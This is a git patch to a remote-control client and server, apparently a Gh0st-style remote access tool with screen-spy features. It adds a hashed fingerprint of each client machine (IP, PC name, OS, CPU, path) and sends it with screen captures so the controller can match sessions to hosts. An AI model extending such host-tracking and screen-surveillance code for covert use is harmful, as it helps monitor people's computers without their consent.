From c7b0a0f2187abaf4d76ed42868efa234d6f80bfa Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 14 Dec 2025 00:46:36 +0100 Subject: [PATCH] Improve: Calculate unique ID for client program --- client/ClientDll.cpp | 4 ++-- client/LoginServer.cpp | 19 +++++++++++++++++-- client/LoginServer.h | 2 +- client/ScreenManager.cpp | 10 ++++++---- client/main.c | 3 ++- common/commands.h | 3 ++- server/2015Remote/2015RemoteDlg.cpp | 21 ++++++++++++++++++++- server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/ScreenSpyDlg.cpp | 6 +++--- server/2015Remote/Server.h | 6 +++++- 10 files changed, 59 insertions(+), 16 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 48d272a..de8c48a 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -18,8 +18,8 @@ extern "C" { // 远程地址 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {}, - 0, 7057226198541618915, {}, + FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {}, + 0, 0, 7057226198541618915, {}, }; // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index ccb4e0d..0797322 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -274,7 +274,19 @@ std::string GetCurrentUserNameA() } } -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) +#define XXH_INLINE_ALL +#include "server/2015Remote/xxhash.h" +// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH } +uint64_t CalcalateID(const std::vector& clientInfo) { + std::string s; + for (int i = 0; i < 5; i++) { + s += clientInfo[i] + "|"; + } + s.erase(s.length()-1); + return XXH64(s.c_str(), s.length(), 0); +} + +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) { LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录 @@ -354,7 +366,10 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) BOOL IsRunningAsAdmin(); LoginInfor.AddReserved(GetCurrentUserNameA().c_str()); LoginInfor.AddReserved(IsRunningAsAdmin()); - + char cpuInfo[32]; + sprintf(cpuInfo, "%dMHz", dwCPUMHz); + conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); + Mprintf("此客户端的唯一标识为: %s\n", std::to_string(conn.clientID).c_str()); return LoginInfor; } diff --git a/client/LoginServer.h b/client/LoginServer.h index b4c07d0..3757072 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,6 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn); +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 2155507..dfc7509 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -19,6 +19,7 @@ #include #include "common/file_upload.h" #include +#include "ClientDll.h" #pragma comment(lib, "Shlwapi.lib") @@ -86,8 +87,8 @@ bool IsWindows8orHigher() CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { #ifndef PLUGIN - extern CONNECT_ADDRESS g_SETTINGS; - m_conn = &g_SETTINGS; + extern ClientApp g_MyApp; + m_conn = g_MyApp.g_Connection; InitFileUpload(""); #endif m_isGDI = TRUE; @@ -383,14 +384,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) VOID CScreenManager::SendBitMapInfo() { //这里得到bmp结构的大小 - const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t); LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); if (szBuffer == NULL) return; szBuffer[0] = TOKEN_BITMAPINFO; //这里将bmp位图结构发送出去 - memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); + memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER)); + memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t)); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); VirtualFree(szBuffer, 0, MEM_RELEASE); diff --git a/client/main.c b/client/main.c index b6bf62a..1670fde 100644 --- a/client/main.c +++ b/client/main.c @@ -41,7 +41,8 @@ struct CONNECT_ADDRESS { char runningType; // 运行方式 char szGroupName[24]; // 分组名称 char runasAdmin; // 是否提升权限运行 - char szReserved[19]; // 占位,使结构体占据300字节 + char szReserved[11]; // 占位,使结构体占据300字节 + uint64_t clientID; // 客户端唯一标识 uint64_t parentHwnd; // 父进程窗口句柄 uint64_t superAdmin; // 管理员主控ID char pwdHash[64]; // 密码哈希 diff --git a/common/commands.h b/common/commands.h index b516942..8b36316 100644 --- a/common/commands.h +++ b/common/commands.h @@ -602,7 +602,8 @@ public: char runningType; // зʽ char szGroupName[24]; // char runasAdmin; // ǷȨ - char szReserved[19]; // ռλʹṹռ300ֽ + char szReserved[11]; // ռλʹṹռ300ֽ + uint64_t clientID; // ͻΨһʶ uint64_t parentHwnd; // ̴ھ uint64_t superAdmin; // ԱID char pwdHash[64]; // ϣ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 1209ad4..cf6d37e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -718,7 +718,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str(); CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str(); CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing, - ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path + ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path, + v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), }; auto id = CONTEXT_OBJECT::CalculateID(data); bool modify = false; @@ -778,6 +779,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; ShowMessage("操作成功",strIP + tip.c_str() + "主机上线"); LeaveCriticalSection(&m_cs); + Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), + std::to_string(id).c_str()); SendMasterSettings(ContextObject); } @@ -2609,6 +2612,17 @@ context* CMy2015RemoteDlg::FindHost(int port) return NULL; } +context* CMy2015RemoteDlg::FindHost(uint64_t id) +{ + CLock L(m_cs); + for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { + if ((*i)->GetClientID() == id) { + return *i; + } + } + return NULL; +} + void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) { BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING }; @@ -2659,6 +2673,11 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41); + uint64_t clientID = p ? *((uint64_t*)p) : 0; + auto mainCtx = clientID ? FindHost(clientID) : NULL; + if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); return OpenDialog(wParam, lParam); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 932b650..41a0320 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -233,6 +233,7 @@ public: void DeletePopupWindow(); context* FindHost(context* ctx); context* FindHost(int port); + context* FindHost(uint64_t port); CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 5f36056..d98d206 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -118,7 +118,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C m_ulHScrollPos = 0; m_ulVScrollPos = 0; - ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; + const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER); m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength]; m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); @@ -344,14 +344,14 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_BITMAPINFO: { SAFE_DELETE(m_BitmapInfor_Full); - ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; + const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER); m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength]; m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); PrepareDrawing(m_BitmapInfor_Full); break; } default: { - TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd)); + Mprintf("CScreenSpyDlg unknown command: %d!!!\n", int(cmd)); } } } diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 7bf91f6..f71b3d3 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -30,6 +30,7 @@ enum { ONLINELIST_LOGINTIME, // 活动窗口 ONLINELIST_CLIENTTYPE, // 客户端类型 ONLINELIST_PATH, // 文件路径 + ONLINELIST_PUBIP, ONLINELIST_MAX, }; @@ -514,6 +515,9 @@ public: { return PeerName; } + void SetPeerName(const std::string& peer) { + PeerName = peer; + } virtual int GetPort() const { return sClientSocket; @@ -655,7 +659,7 @@ public: } static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) { - int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, }; + int idx[] = { ONLINELIST_PUBIP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, }; CString s; for (int i = 0; i < 5; i++) { s += data[idx[i]] + "|";